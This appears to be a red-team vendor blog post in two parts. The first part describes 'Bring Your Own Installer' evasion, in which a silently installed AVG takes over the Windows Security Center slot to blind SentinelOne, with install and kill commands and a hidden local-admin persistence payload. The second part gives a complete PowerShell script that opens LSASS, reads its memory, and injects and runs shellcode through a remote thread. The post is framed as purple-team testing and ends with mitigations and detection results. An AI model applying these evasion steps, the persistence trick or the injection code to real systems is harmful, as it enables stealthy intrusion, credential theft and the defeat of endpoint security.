The Attacker Angle

Most red teamers and attackers don’t walk in through the front door. They dress up as trusted objects and use known security controls.

Here’s the low-level breakdown of the attack leveraging Windows Security Center (WSC). By manipulating WSC’s security product registration and status reporting mechanisms, we deceive Windows into falsely reporting that SentinelOne or Microsoft Defender for Endpoint are inactive or not installed. This effectively blinds the OS and security stack’s telemetry, bypassing the native visibility and control planes and carving out a stealth zone where post-exploitation payloads can execute freely without triggering alerts or defensive actions.

This technique, known in the wild as “Bring Your Own (AV) Installer” (BYOAI), is a refined evolution of the BYOI playbook, engineered for stealth and operational finesse. It swaps noisy, heavy-handed intrusion vectors for a slick, socially engineered injection that co-opts trusted installers, sidestepping typical user-mode defenses.

Enter BYOI correctly, a stealthy tactic that hijacks legitimate AV installers, such as AVG’s signed binaries, to subvert or bypass advanced EDR agents, all without dropping unsigned drivers or relying on kernel exploits. This contrasts sharply with Bring Your Own Vulnerable Driver (BYOVD), which, while powerful, tends to generate detectable noise and is increasingly scrutinized by modern EDR heuristics.

BYOI rides under the system’s radar by leveraging Windows’ native AV provider arbitration mechanisms via the Windows Security Center (WSC). It weaponizes trusted, signed installers and standard Windows MSI install flows to wrest control of the AV provider slot from SentinelOne, effectively ghosting its hooks and telemetry.

In this blog post, we’ll weaponize the AVG Antivirus installer to seize the AV provider position on a Windows 11 host running SentinelOne. Once the hijack completes, SentinelOne’s kernel and user-mode sensors lose visibility, policy enforcement drops off, or the agent enters a dormant mode, depending on its internal configuration and fail-safe logic.

From there, we explore the attacker’s paradise: a freshly carved blind spot inside the OS security stack where post-exploitation payloads can persist, execute, and “live off the land,” all while technically operating within the OS’s own trusted framework, evading detection by flying completely under the radar.

What is BYOI?

Bring Your Own Installer (BYOI) is a post-exploitation technique where attackers cleverly embed malicious activity into the execution flow of a legitimate installer, one that’s already signed, trusted, and often whitelisted by endpoint security solutions.

Instead of slamming down a blatantly anomalous or bespoke binary that would raise a red flag, we tactically leverage the implicit trust built into legitimate, well-known software installers. These installers come equipped with pristine cryptographically verified digital signatures, consistent hashes embedded in vendor-signed catalogs, and established reputational telemetry within reputation-based detection frameworks. This trifecta of trust vectors effectively neutralizes the behavioral and signature-based detection pipelines of AVs and EDRs, allowing adversaries to bypass user-mode monitors by masquerading as system-sanctioned code executing via legitimate MSI installation sequences.

How BYOI Works 

How can a potential BYOI work? 

Choose a Trusted Installer

• The attacker selects an installer commonly found in typical environments, such as AVG Antivirus, Zoom, Slack, or Adobe Reader.
• The file is typically digitally signed, making it trusted by the OS, EDR, and even application whitelisting policies.

Wrap or Chain a Malicious Payload

• The attacker wraps the installer in a batch script, modifies the install routine, or adds post-install hooks.
• The malicious payload (PowerShell, shellcode loader, token stealer, C2 beacon, etc.) is executed during installation or after completion, often with minimal or no user visibility.

Exploit Inherited Trust

• Because the parent process is a legitimately signed installer, it causes its child processes, such as powershell.exe and rundll32.exe, to inherit that implicit trust. This inherited trust allows these spawned processes to operate with elevated credibility in the eyes of security telemetry, effectively bypassing behavioral analytics and execution prevention mechanisms that would usually flag or block them.
• Security tools designed to suppress alerts during software installations often fail to correlate malicious activity with the threat.

Why It’s So Effective

• Low False Positive Zones: Installers often run multiple processes, write to disk, update registry keys, and launch services, exactly what malware does. To avoid false positives, EDRs intentionally suppress noisy detections during these operations. BYOI uses this to blend in.
• Signed, Whitelisted, and Familiar: Most orgs allow the execution of well-known installer files (e.g., ZoomInstaller.exe,) and security tools might trust anything signed by a known publisher.
• No Exploit Required: There’s no vulnerability involved, just weaponizing user trust and installation workflows. It’s social engineering at the system level.
• Fileless Payloads: When combined with PowerShell or LOLBins, BYOI becomes nearly invisible, with no .ps1 on disk, no dropped EXEs, nothing persistent unless intentionally added.

In a nutshell, an attacker takes a trusted sheep costume and hides a dog inside.

🏴‍☠️ OLD BUT GOLD: Installers Have Always Been the Perfect Cover

While BYOI might sound modern and clever, the truth is that this tactic is nothing new. It’s just evolving with the times.

Back in the day…

Attackers used legit software installers to bundle adware, toolbars, and later… malware. From cracked games on torrent sites to fake Flash Player updates, installers have always been a sneaky delivery mechanism. Why? Because users expect them to make changes, drop files, and run scripts.

Then came EDRs…

As Endpoint Detection & Response systems got smarter, attackers just shifted tactics:

• They began wrapping installers with post-install payloads.
• During the installation, they started triggering LOLBins (like regsvr32, mshta, or rundll32).
• And now, with fileless payloads, the game has leveled up again.

Why does it still work? 

• Signed binaries = automatic trust
• Installer noise = alert suppression
• Installer behavior = “normal” on the surface
• Low detection threshold = no red flags raised during execution

Some EDR’s in Windows 11 

When deploying SentinelOne on a Windows 11 endpoint, it’s essential to verify that the agent is registered correctly with the operating system’s built-in security framework, Windows Security Center (WSC). This ensures there’s no conflict with Microsoft Defender Antivirus and that your endpoint protection is working as expected.

Microsoft Defender for Endpoint (MDE) is deeply integrated into the Windows OS, leveraging native components like Windows Defender Antivirus and security subsystems for seamless protection. MDE’s telemetry and health reporting are tightly coupled with OS event pipelines, offering more accurate and timely status updates in WSC. 

Policy enforcement and updates for MDE are managed through native Windows Update channels and Microsoft Endpoint Manager, ensuring the agent stays current automatically. Unlike third-party EDRs, MDE can gracefully coexist with or supersede other agents, optimizing system resources and reducing conflicts within the security stack.

Registered Antivirus Product

• SentinelOne Agent is actively registered with the Windows Security Center (WSC).
• WMI reports it under the following:
  
  • displayName: Sentinel Agent
  • pathToSignedProductExe: SentinelRemediation.exe
  • productState: 266240 (this indicates registration and active protection)

What This Means Technically

Windows Defender AV Status:

• When SentinelOne registers with WSC as the primary antivirus provider, Windows Defender Antivirus automatically enters passive mode.
• In this state:
  
  • Defender AV is still present on the disk.
  • It is not actively scanning.
  • It will not provide real-time protection unless SentinelOne is unregistered or disabled.

This design ensures AV conflicts are avoided. Only one AV provider handles real-time protection at a time.

SentinelOne WSC Registration Behavior

When SentinelOne is installed:

• It registers itself in the WMI class AntiVirusProduct via SecurityCenter2.
• This disables Defender AV real-time protection to avoid conflicts.
• The defender will still be used for certain features like:
  
  • Microsoft Defender SmartScreen
    
  • Exploit Guard rules
    
  • ASR (Attack Surface Reduction) if SentinelOne doesn’t override them

How to View This Status

You can always verify this via PowerShell:

Get CimInstance  Namespace root\SecurityCenter2  ClassName AntiVirusProduct

Or view Defender AV’s real-time protection status:

Get MpComputerStatus | Select AMRunningMode, RealTimeProtectionEnabled

• If AMRunningMode = Passive, Defender is not providing protection
• If RealTimeProtectionEnabled = False, then SentinelOne is active and Defender is passive

What This Tells Us

• SentinelOne is active and fully registered as the primary antivirus provider in WSC.
• Windows Defender Antivirus is in passive mode, automatically deactivating its real-time protection to prevent conflicts.
• productState = 266240 confirms that SentinelOne is both installed and functioning in an active protection state.

The BYOI Attack 

Prepare Your Environment

Before launching a BYOI simulation or red team engagement, it’s critical to prepare your lab or test environment with the right tools, permissions, and security controls. This ensures your simulation is both practical and realistic, especially when trying to evade mature EDR products like SentinelOne.

This guide utilizes AVG’s antivirus installer to execute a fileless PowerShell payload, thereby bypassing detection and operating silently.

Tools

• avg_antivirus_free_setup.exe (official installer)
• Custom installer_wrapper.bat file
• PowerShell payload (fileless user creation for this demo)
• Admin access on target (test) machine

Target

• Windows 10/11 system
• SentinelOne deployed (in detection or EDR mode)

When BYOI Meets Third-Party AV and EDR

The goal is to blend malicious activity with a seemingly benign installation process using a third-party antivirus program, in this case, AVG Free Antivirus.

Why AVG? Its free installer is large, signed, and often trusted by endpoint security tools. By chaining this installer with post-install stealth payloads, we reduce the initial suspicion surface, especially in environments where logs are noisy, or EDRs aren’t aggressive post-install.

Bring Your Own Installer (BYOI) is a classic red team tactic that exploits trust in legitimate software. By chaining a real installer (such as AVG Antivirus) with a post-install payload, attackers can evade EDRs unnoticed, particularly if they rely on reputation, signature matching, or suppressing installer noise.

Objective

• Install AVG silently.
• Suppress UI popups.
• Deploy a hidden, local admin user via PowerShell.
• Keep operations stealthy.

Silent Install of AVG

start /wait C:\Temp\avg_antivirus_free_setup.exe /silent /norestart /desktopshortcut=0 /installandquit

• /silent: No UI prompts.
• /norestart: Avoids system reboot prompts.
• installandquit: Ends process post installation.

This initiates the “trusted” activity of the AVG installation.

Kill AVG UI

taskkill /f /im avgui.exe >nul 2>&1

• Prevents any post install popups from AVG.
• >nul 2>&1: Silently suppresses errors/output.
• Some EDRs may only begin active scanning once the UI has fully loaded. Killing it may delay detection windows.

Note: Although there are several ways to silence the installation, I prefer this method.

Key actions

• Creates a new hidden local admin user, sys_debug.
• Hides the user from the login screen via SpecialAccounts\UserList.
• Password never expires.
• Uses nop w hidden to avoid PowerShell window pop-ups.

This stealth account persists even if security tools kill the script later.

Detection Evasion Notes

• No droppers or additional binaries: The entire payload is inline, making it ideal for evading hash-based detections.
• User hiding via registry: A classic trick to evade local user audits.
• AVG context: Leveraging trusted installer names and locations gives EDRs second thoughts on alerting.
• No network activity: Local privilege escalation without callbacks or C2 connections = low noise.
• Windows 11 Version 24H2

We monitored for several hours, expecting an alert or incident to trigger. Despite running AVG.exe along with its child processes and executing additional actions, no detections or alerts were generated.

What Happens When AVG is Installed on a System with SentinelOne or MDE?

When you install AVG Antivirus on a Windows 11 system where SentinelOne or MDE is already registered, here’s what can happen:

Windows Security Center Can Reassign the AV Role

Only one product can be registered with WSC as the primary real-time antivirus provider. If AVG installs itself and registers with WSC, it may replace SentinelOne as the registered AV   even if SentinelOne is still running in the background.

SentinelOne May Enter Passive or “Coexist” Mode (Not Ideal)

If AVG takes over:

• SentinelOne will still operate but may lose visibility in WSC
  
• Some protection features could be partially disabled or reduced.
• Policy enforcement, alerting, or behavioral protection may be disrupted if SentinelOne is not the active AV in WSC

This Breaks Assumptions in Most Security Models

When SentinelOne is your designated AV/EDR:

• You expect it to detect and block malware
• You rely on it for telemetry, threat remediation, and behavioral AI

But if AVG hijacks the registration, Windows treats it as the primary AV, and:

• Defender stays passive
• SentinelOne becomes “invisible” to WSC.
  
• You could miss malicious child processes spawned by AVG or its wrapper script.

Kernel-Mode Interaction Is Inevitable When Deploying Third-Party Antivirus on Windows

When you work with a new third-party AV on Windows, there is interaction with the kernel, but indirectly, and depending on what you do:

Driver Installation: Most AV solutions install kernel-mode drivers to provide deep system monitoring, real-time protection, and enforcement. When you install or register a new AV, its kernel drivers get loaded, which directly interact with the OS kernel.

WSC Communication: Windows Security Center (WSC) runs in user mode but communicates with these kernel-mode drivers to get status, health, and configuration info about the AV product.

Configuration Changes: If you change settings via user-mode tools or WSC APIs, these changes eventually propagate down to kernel-mode components for enforcement.

API Calls: Your user-mode processes don’t usually call the kernel directly but interact with drivers via standard Windows driver interfaces (like IOCTLs). The kernel driver handles low-level monitoring and protection.

Summary

The “Bring Your Own (AV) Installer (BYOAI) Evasion: Abusing AV to Slip Past EDR” blog post details a sophisticated technique where attackers leverage legitimate antivirus installers to bypass advanced Endpoint Detection and Response (EDR) solutions. 

By exploiting the Windows Security Center’s AV provider arbitration mechanism, adversaries register trusted third-party AV installers, such as AVG, to override or disable active EDR agents, including SentinelOne and Microsoft Defender for Endpoint. 

This manipulation blinds the EDR’s telemetry and policy enforcement without requiring kernel exploits or unsigned drivers, enabling stealthy persistence and execution of post-exploitation payloads. The approach capitalizes on inherent trust in signed installers, allowing attackers to operate within Windows’ native security framework and evade detection. 

The post also demonstrates how AVG’s installer on Windows 11 can be weaponized to seize the AV provider slot, creating a blind spot where malicious activities can run undetected.

Introduction

Attackers are increasingly relying on fileless techniques that operate entirely in memory, thereby evading traditional antivirus software and many legacy controls. As an adversary, the ability to simulate these tactics is crucial for evaluating the steadfast resilience of endpoint security solutions. SentinelOne, known for its behavioral detection capabilities, claims to catch these sophisticated movements. To put that to the test, we are sharing a specific PowerShell script that mimics real-world credential dumping and process injection.

In Guardz, we call it “To Purpleing everything”. The goal is to conduct penetration testing on any component across multiple scenarios and understand how security controls are detected.

Script Description

The script operates exclusively in memory, reflecting the tactics used by modern threat actors. It begins by obtaining a handle on the LSASS process, a prime target for credential harvesting. This step mirrors what tools like Mimikatz attempt when extracting credentials from memory. Next, the script tries to read a segment of LSASS memory. Although no sensitive data is accessed, this action is enough to trigger security analytics focused on process behavior rather than file signatures.

The simulation then escalates by allocating memory within the LSASS process and writing benign data to that space. This mimics the memory manipulation techniques seen in process injection attacks, where malicious code is typically written and executed in the address space of another process. In this case, no code is executed, and nothing ever touches the disk, ensuring the simulation is safe for controlled environments and does not pose a risk of actual compromise.

This approach enables security teams to validate whether their detection tools can identify and respond to genuine attacker tradecraft, not just commodity malware.

The script

function Invoke-LSASSAttackSimulation {

    <#

    .SYNOPSIS

        LSASS memory access + process injection + execution.

    .WARNING

        Use ONLY in controlled red team labs. Not safe for unauthorized use.

    #>

    $lsass = Get-Process -Name lsass -ErrorAction SilentlyContinue

    if (-not $lsass) {

        Write-Output “LSASS process not found.”

        return

    }

    # Define Win32 interop only if not already defined

    if (-not (“Win32” -as [type])) {

        $sig = @”

        using System;

        using System.Runtime.InteropServices;

        public class Win32 {

            [DllImport(“kernel32.dll”, SetLastError = true)]

            public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

            [DllImport(“kernel32.dll”, SetLastError = true)]

            public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead);

            [DllImport(“kernel32.dll”, SetLastError = true)]

            public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

            [DllImport(“kernel32.dll”, SetLastError = true)]

            public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out int lpNumberOfBytesWritten);

            [DllImport(“kernel32.dll”)]

            public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize,

                IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

            [DllImport(“kernel32.dll”, SetLastError = true)]

            public static extern bool CloseHandle(IntPtr hObject);

        }

“@

        Add-Type -TypeDefinition $sig

    }

    $PROCESS_ALL_ACCESS = 0x1F0FFF

    $hProcess = [Win32]::OpenProcess($PROCESS_ALL_ACCESS, $false, $lsass.Id)

    if ($hProcess -eq [IntPtr]::Zero) {

        Write-Output “Failed to open LSASS handle. Run as Administrator?”

        return

    }

    Write-Output “Opened handle to LSASS.”

    # Attempt real memory read (for EDR test, junk address)

    $buffer = New-Object byte[] 256

    $bytesRead = 0

    $readAddr = [IntPtr]0x00400000  # Common readable address (harmless)

    $readResult = [Win32]::ReadProcessMemory($hProcess, $readAddr, $buffer, $buffer.Length, [ref]$bytesRead)

    if ($readResult) {

        Write-Output “Read $bytesRead bytes from LSASS memory at $readAddr.”

    } else {

        Write-Output “ReadProcessMemory failed — AV/EDR or invalid memory region.”

    }

    # Dummy shellcode: NOP sled + RET

    $shellcode = [byte[]] (

        0x90, 0x90, 0x90, 0x90, 0xC3  # NOP NOP NOP NOP RET

    )

    # Allocate memory inside LSASS

    $remoteAddr = [Win32]::VirtualAllocEx($hProcess, [IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)

    if ($remoteAddr -eq [IntPtr]::Zero) {

        Write-Output “VirtualAllocEx failed.”

        [Win32]::CloseHandle($hProcess)

        return

    }

    # Write shellcode to LSASS

    $bytesWritten = 0

    $writeResult = [Win32]::WriteProcessMemory($hProcess, $remoteAddr, $shellcode, $shellcode.Length, [ref]$bytesWritten)

    if (-not $writeResult) {

        Write-Output “WriteProcessMemory failed.”

        [Win32]::CloseHandle($hProcess)

        return

    }

    Write-Output “Wrote $bytesWritten bytes of shellcode to LSASS.”

    # Create remote thread to execute shellcode

    $tid = 0

    $hThread = [Win32]::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $remoteAddr, [IntPtr]::Zero, 0, [ref]$tid)

    if ($hThread -eq [IntPtr]::Zero) {

        Write-Output “CreateRemoteThread failed. Execution not started.”

    } else {

        Write-Output “Shellcode executed in LSASS. Remote Thread ID: $tid”

    }

    [Win32]::CloseHandle($hProcess)

    Write-Output “Simulation complete.”

}

# Run the attack simulation

Invoke-LSASSAttackSimulation 

Script Highlights

• All actions are performed in-memory; no files are written or dropped to disk.
• Simulates real-world attacker TTPs: LSASS access, memory read, and process injection.
• Safe for lab use; does not access real credentials or execute code in LSASS.
• Run as a local administrator for full simulation and EDR visibility.

Mitigation Strategies

From a red team perspective, bypassing detection requires exploiting weaknesses in privilege management and process isolation. To counter these techniques, defenders should enforce least privilege across endpoints, ensuring that only necessary accounts have administrative access. Enabling features such as Credential Guard and LSASS Protected Process Light provides additional barriers against unauthorized memory access.

Regular patching is crucial for closing vulnerabilities that enable privilege escalation or process manipulation. Monitoring for unusual process behavior, especially when PowerShell or scripting engines interact with sensitive system processes, can provide early warning of an attack in progress. Implementing robust application control further limits the tools available to an attacker, reducing the risk of successful credential dumping or injection.

How SentinelOne Responds

SentinelOne leverages behavioral AI to detect the tactics used in this simulation. When the script attempts to open a handle to LSASS, SentinelOne’s agent recognizes the suspicious access pattern and raises an alert. Attempts to read or write memory in another process, particularly LSASS, are correlated with credential dumping and process injection techniques. The platform generates actionable alerts, providing visibility into the process tree and the sequence of actions taken.

This highlights how SentinelOne’s behavioral analytics can identify and alert on live memory attacks and process manipulation, even when the activity originates from legitimate tools in an interactive session.

Even though S1 has successfully mitigated the threat, this will not be the case for all endpoint security tools. Legacy antivirus vendors that rely on signatures would not catch such behaviors. And even some EDRs do not have the built in logic or AI adaptability to catch such tradecraft.

From the SentinelOne eyes

SentinelOne dashboard with suspicious actions, malware, etc. 

This is how the SentinelOne dashboard allows you to show the incident, investigate and behave as an analyst.  

The Endpoint view with the SentinelOne agent and its blocking status. 

The script and the pop-up blocked

When the script runs, you can view the behavior from the endpoint and how SentinelOne tagged it. 

Because the entire operation takes place in memory, traditional antivirus solutions are likely to miss it. SentinelOne’s in-memory analytics and real-time monitoring ensure that even fileless attacks are identified and stopped. Security teams can quickly investigate the alert, trace the activity back to its source, and initiate response actions such as isolating the endpoint or terminating the offending process.

By simulating these techniques, you can validate that SentinelOne’s detection and response capabilities are effective against the latest attacker tradecraft. Continuous validation is essential for maintaining a robust security posture in an environment where adversaries are constantly evolving.